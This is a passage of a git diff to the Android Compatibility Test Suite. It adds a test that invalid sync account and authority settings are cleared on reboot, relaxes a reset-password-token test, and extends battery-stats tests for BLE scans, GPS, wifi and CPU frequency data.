+        } catch (AssertionError exc) {
+            // Test account got left on the device. This test should still pass.
+            LogUtil.CLog.w("removeTestAccount failed: " + exc.getMessage());
+        }
+        getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+    }
+
+    public void testInvalidEntriesClearedOnBoot() throws Exception {
+        runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "populateAndTestSyncAutomaticallyBeforeReboot");
+        getDevice().reboot();
+        runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "testSyncAutomaticallyAfterReboot");
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
new file mode 100644
index 0000000..104fdbd
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
new file mode 100644
index 0000000..46c34f6
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.sync.cts">
+
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service
+            android:name=".StubAuthenticator">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <provider
+            android:name=".StubProvider"
+            android:authorities="android.content.sync.cts.authority">
+        </provider>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.sync.cts" />
+</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
new file mode 100644
index 0000000..39dec51
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.content.sync.cts.accounttype"/>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
new file mode 100644
index 0000000..f91a358
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side code for {@link android.content.cts.InvalidSyncAuthoritiesHostTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class InvalidSyncAuthoritiesDeviceTest {
+
+    private static final String VALID_TEST_AUTHORITY = "android.content.sync.cts.authority";
+    private static final String INVALID_TEST_AUTHORITY = "invalid.authority";
+    private static final String VALID_TEST_ACCOUNT_TYPE = "android.content.sync.cts.accounttype";
+
+    private Account mInvalidAccount;
+    private Account mValidAccount;
+    private AccountManager mAccountManager;
+
+    @Before
+    public void setUp() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        mAccountManager = context.getSystemService(AccountManager.class);
+        mInvalidAccount = new Account("invalid_test_name", "invalid_test_type");
+        final Account[] accounts = mAccountManager.getAccountsByType(VALID_TEST_ACCOUNT_TYPE);
+        mValidAccount = (accounts.length == 0) ? createTestAccount() : accounts[0];
+    }
+
+    private Account createTestAccount() {
+        mValidAccount = new Account("testAccount", VALID_TEST_ACCOUNT_TYPE);
+        assertTrue("Failed to create a valid test account",
+                mAccountManager.addAccountExplicitly(mValidAccount, "password", null));
+        return mValidAccount;
+    }
+
+    @Test
+    public void populateAndTestSyncAutomaticallyBeforeReboot() {
+        ContentResolver.setSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY, true);
+
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+        // checking for invalid accounts may already return false depending on when the broadcast
+        // LOGIN_ACCOUNTS_CHANGED_ACTION was received by SyncManager
+    }
+
+    @Test
+    public void testSyncAutomaticallyAfterReboot() {
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY));
+    }
+
+    @Test
+    public void removeTestAccount() {
+        // To use as a teardown step from the hostside test
+        mAccountManager.removeAccountExplicitly(mValidAccount);
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
new file mode 100644
index 0000000..f54835b
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class StubAuthenticator extends Service {
+
+    private Authenticator mAuthenticator;
+
+    @Override
+    public void onCreate() {
+        mAuthenticator = new Authenticator(this);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mAuthenticator.getIBinder();
+    }
+
+    public class Authenticator extends AbstractAccountAuthenticator {
+        public Authenticator(Context context) {
+            super(context);
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response,
+                String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                String accountType, String tokenType, String[] strings,
+                Bundle bundle) throws NetworkErrorException {
+            Bundle result = new Bundle();
+            result.putString(AccountManager.KEY_ERROR_MESSAGE, "Unsupported operation");
+            response.onResult(result);
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response,
+                Account account, Bundle bundle) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response,
+                Account account, String type, Bundle bundle) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String tokenName) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response,
+                Account account, String tokenType, Bundle bundle)
+                throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response,
+                Account account, String[] options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAccountRemovalAllowed(AccountAuthenticatorResponse response,
+                Account account) throws NetworkErrorException {
+            Bundle result = new Bundle();
+            result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+            return result;
+        }
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
new file mode 100644
index 0000000..f082cc8
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class StubProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+            @Nullable String selection, @Nullable String[] selectionArgs,
+            @Nullable String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values,
+            @Nullable String selection, @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index f9d732c..9e4744c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -18,18 +18,39 @@
 
 public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
 
-    private static final String TAG = "ResetPasswordWithTokenTest";
-
     private static final String PASSWORD = "1234";
 
     private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
     private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
 
     public void testResetPasswordWithToken() {
+        testResetPasswordWithToken(false);
+    }
+
+    public void testResetPasswordWithTokenMayFail() {
+        // If this test is executed on a device with password token disabled, allow the test to
+        // pass.
+        testResetPasswordWithToken(true);
+    }
+
+    private void testResetPasswordWithToken(boolean acceptFailure) {
         try {
             // set up a token
             assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-            assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, TOKEN0));
+
+            try {
+                // On devices with password token disabled, calling this method will throw
+                // a security exception. If that's anticipated, then return early without failing.
+                assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+                        TOKEN0));
+            } catch (SecurityException e) {
+                if (acceptFailure &&
+                        e.getMessage().equals("Escrow token is disabled on the current user")) {
+                    return;
+                } else {
+                    throw e;
+                }
+            }
             assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
 
             // resetting password with wrong token should fail
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index d20d5e4..2063104 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -38,8 +38,6 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 import javax.annotation.Nullable;
 
@@ -228,13 +226,19 @@
         return 0;
     }
 
-    protected void stopUser(int userId) throws Exception  {
+    protected void stopUser(int userId) throws Exception {
+        // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
+        waitForBroadcastIdle();
         String stopUserCommand = "am stop-user -w -f " + userId;
         CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
         CLog.d("Output for command " + stopUserCommand + ": "
                 + getDevice().executeShellCommand(stopUserCommand));
     }
 
+    private void waitForBroadcastIdle() throws Exception {
+        getDevice().executeShellCommand("am wait-for-broadcast-idle");
+    }
+
     protected void removeUser(int userId) throws Exception  {
         if (listUsers().contains(userId) && userId != USER_SYSTEM) {
             // Don't log output, as tests sometimes set no debug user restriction, which
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 28c7ec4..9654956 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -635,13 +635,18 @@
     }
 
     private void checkBluetoothMisc(String[] parts) {
-        assertEquals(10, parts.length);
+        assertEquals(15, parts.length);
         assertInteger(parts[4]); // totalTime
         assertInteger(parts[5]); // count
         assertInteger(parts[6]); // countBg
         assertInteger(parts[7]); // actualTime
         assertInteger(parts[8]); // actualTimeBg
         assertInteger(parts[9]); // resultsCount
+        assertInteger(parts[10]); // resultsCountBg
+        assertInteger(parts[11]); // unoptimizedScanTotalTime
+        assertInteger(parts[12]); // unoptimizedScanTotalTimeBg
+        assertInteger(parts[13]); // unoptimizedScanMaxTime
+        assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
     }
 
     /**
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index 9b23052..08f19f9 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -52,7 +52,8 @@
     private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
 
     public static final String KEY_ACTION = "action";
-    public static final String ACTION_BLE_SCAN = "action.ble_scan";
+    public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
     public static final String ACTION_GPS = "action.gps";
     public static final String ACTION_JOB_SCHEDULE = "action.jobs";
     public static final String ACTION_SYNC = "action.sync";
@@ -70,8 +71,11 @@
         }
         sleep(100);
         switch(actionCode) {
-            case ACTION_BLE_SCAN:
-                doBleScan(ctx, requestCode);
+            case ACTION_BLE_SCAN_OPTIMIZED:
+                doOptimizedBleScan(ctx, requestCode);
+                break;
+            case ACTION_BLE_SCAN_UNOPTIMIZED:
+                doUnoptimizedBleScan(ctx, requestCode);
                 break;
             case ACTION_GPS:
                 doGpsUpdate(ctx, requestCode);
@@ -97,23 +101,34 @@
         sleep(100);
     }
 
-    private static void doBleScan(Context ctx, String requestCode) {
+    private static void doOptimizedBleScan(Context ctx, String requestCode) {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
+        performBleScan(scanSettings);
+        tellHostActionFinished(ACTION_BLE_SCAN_OPTIMIZED, requestCode);
+    }
+
+    private static void doUnoptimizedBleScan(Context ctx, String requestCode) {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        performBleScan(scanSettings);
+        tellHostActionFinished(ACTION_BLE_SCAN_UNOPTIMIZED, requestCode);
+    }
+
+    private static void performBleScan(ScanSettings scanSettings) {
         BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
         if (bluetoothAdapter == null) {
             Log.e(TAG, "Device does not support Bluetooth");
-            tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
             return;
         }
         if (!bluetoothAdapter.isEnabled()) {
             Log.e(TAG, "Bluetooth is not enabled");
-            tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
             return;
         }
 
         BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
         if (bleScanner == null) {
             Log.e(TAG, "Cannot access BLE scanner");
-            tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
             return;
         }
 
@@ -131,16 +146,12 @@
             @Override
             public void onBatchScanResults(List<ScanResult> results) {
                 Log.v(TAG, "called onBatchScanResults");
-
             }
         };
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
 
         bleScanner.startScan(null, scanSettings, scanCallback);
         sleep(2_000);
         bleScanner.stopScan(scanCallback);
-        tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
     }
 
     private static void doGpsUpdate(Context ctx, String requestCode) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 7ed8722..19ac383 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -46,6 +46,13 @@
             = "com.android.server.cts.device.batterystats.provider/"
             + "com.android.server.cts.device.batterystats";
 
+    // These constants are those in PackageManager.
+    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    public static final String FEATURE_WIFI = "android.hardware.wifi";
+
+
     // Low end of packet size. TODO: Get exact packet size
     private static final int LOW_MTU = 1500;
     // High end of packet size. TODO: Get exact packet size
@@ -53,7 +60,8 @@
 
     // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
     public static final String KEY_ACTION = "action";
-    public static final String ACTION_BLE_SCAN = "action.ble_scan";
+    public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
     public static final String ACTION_GPS = "action.gps";
     public static final String ACTION_JOB_SCHEDULE = "action.jobs";
     public static final String ACTION_SYNC = "action.sync";
@@ -163,33 +171,86 @@
     }
 
     public void testBleScans() throws Exception {
-        if (isTV()) {
+        if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
             return;
         }
+
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
 
         // Foreground test.
-        executeForeground(ACTION_BLE_SCAN, 30_000);
+        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
         assertValueRange("blem", "", 5, 1, 1); // ble_scan_count
         assertValueRange("blem", "", 6, 0, 0); // ble_scan_count_bg
 
         // Background test.
-        executeBackground(ACTION_BLE_SCAN, 30_000);
+        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
         assertValueRange("blem", "", 5, 2, 2); // ble_scan_count
         assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
 
         batteryOffScreenOn();
     }
 
-    public void testGpsUpdates() throws Exception {
-        final String gpsSensorNumber = "-10000";
 
+    public void testUnoptimizedBleScans() throws Exception {
         if (isTV()) {
             return;
         }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        // Ble scan time in BatteryStatsBgVsFgActions is 2 seconds, but be lenient.
+        final int minTime = 1500; // min single scan time in ms
+        final int maxTime = 3000; // max single scan time in ms
+
+        // Optimized - Foreground.
+        executeForeground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 1*minTime, 1*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 0, 0); // actualTimeBg
+        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+        // Optimized - Background.
+        executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 2*minTime, 2*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+        // Unoptimized - Foreground.
+        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 3*minTime, 3*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 1*minTime, 1*maxTime); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+        // Unoptimized - Background.
+        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+        assertValueRange("blem", "", 7, 4*minTime, 4*maxTime); // actualTime
+        assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
+        assertValueRange("blem", "", 11, 2*minTime, 2*maxTime); // unoptimizedScanTotalTime
+        assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
+        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+        assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
+
+        batteryOffScreenOn();
+    }
+
+    public void testGpsUpdates() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
+            return;
+        }
+
+        final String gpsSensorNumber = "-10000";
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
         // Whitelist this app against background location request throttling
         getDevice().executeShellCommand(String.format(
                 "settings put global location_background_throttle_package_whitelist %s",
@@ -250,9 +311,10 @@
     }
 
     public void testWifiScans() throws Exception {
-        if (isTV()) {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
             return;
         }
+
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         // Whitelist this app against background wifi scan throttling
@@ -342,9 +404,10 @@
      * Tests the total bytes reported for downloading over wifi.
      */
     public void testWifiDownload() throws Exception {
-        if (isTV()) {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
             return;
         }
+
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
 
@@ -379,7 +442,34 @@
         batteryOffScreenOn();
     }
 
+    /**
+     * Tests the total bytes reported for uploading over wifi.
+     */
+    public void testWifiUpload() throws Exception {
+        if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
+            return;
+        }
+
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+
+        executeForeground(ACTION_WIFI_UPLOAD, 60_000);
+        int min = MIN_HTTP_HEADER_BYTES + (2 * 1024);
+        int max = min + (6 * 1024); // Add some fuzzing.
+        assertValueRange("nt", "", 7, min, max); // wifi_bytes_tx
+
+        executeBackground(ACTION_WIFI_UPLOAD, 60_000);
+        assertValueRange("nt", "", 21, min * 2, max * 2); // wifi_bytes_bg_tx
+
+        batteryOffScreenOn();
+    }
+
     public void testCpuFreqData() throws Exception {
+        if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+            LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+                    getClass().getName(), getName());
+            return;
+        }
         batteryOnScreenOff();
         final long[] actualCpuFreqs = CpuFreqDataHelper.getCpuFreqFromCheckinDump(getDevice());
         final long[] expectedCpuFreqs = CpuFreqDataHelper.getCpuFreqFromProcFile(getDevice());
@@ -390,6 +480,11 @@
     }
 
     public void testUidCpuFreqTimesData() throws Exception {
+        if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+            LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+                    getClass().getName(), getName());
+            return;
+        }
         batteryOnScreenOn();
         // Previous call will only disable the pretend-screen-off. Since we are interested in
         // checking the uid times while the screen is on, turn it on for real.
@@ -424,6 +519,11 @@
     }
 
     public void testUidCpuFreqTimesDataWithOnlyScreenOn() throws Exception {
+        if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+            LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+                    getClass().getName(), getName());
+            return;
+        }
         batteryOnScreenOn();
